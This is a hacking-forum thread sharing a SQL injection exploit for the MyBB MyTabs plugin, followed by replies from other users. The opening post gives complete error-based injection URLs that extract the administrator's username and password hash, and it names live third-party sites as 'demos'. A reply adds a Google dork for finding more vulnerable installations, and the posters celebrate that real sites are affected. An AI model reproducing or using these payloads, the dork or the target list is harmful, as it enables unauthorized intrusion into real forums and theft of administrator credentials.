[MaLw4Re-Al]

=====================================================================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
=====================================================================

# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

---------------------------------------
# ~ Expl0itation ~ #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

$~ Get the administrator's password ~

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -


---------------------------------------
# ~ Demos ~ #
---------------------------------------

http://secworm.net/forums/index.php?tab=1' (secworm - Ethical Hacking & IT security forum - ROFL !)
http://icanhazcookie.net/index.php?tab=1'


+++++++++++++++++++++++++++++++++++++++++++++++++++++
For More
http://1337day.com/exploits/16587
http://www.exploit-db.com/exploits/17595

[Shining White]

Fucking LOL .......

[1234hotmaster]

SWEET exploit!!! thanks for the share :thumbs:

PS: you can use this for a google dork

Code:

intext:Powered By MyBB, © 2002-2011 MyBB Group. & linurl:?tab=

[bspro]

Yup nice thanks for the exploit lol thanks again

[MaLw4Re-Al]

Malw4re-4L , thanks for sharing our exploit bro.

---

Many hacking sites were & are (secworm) affected by this vulnerability lol but i didn't touch any of them.

br0 i shared it everywhere and in hf.net but someone teld me that was old vuln and They deleted the thread

[MaLw4Re-Al]

dont thank me , thank my friend who discover it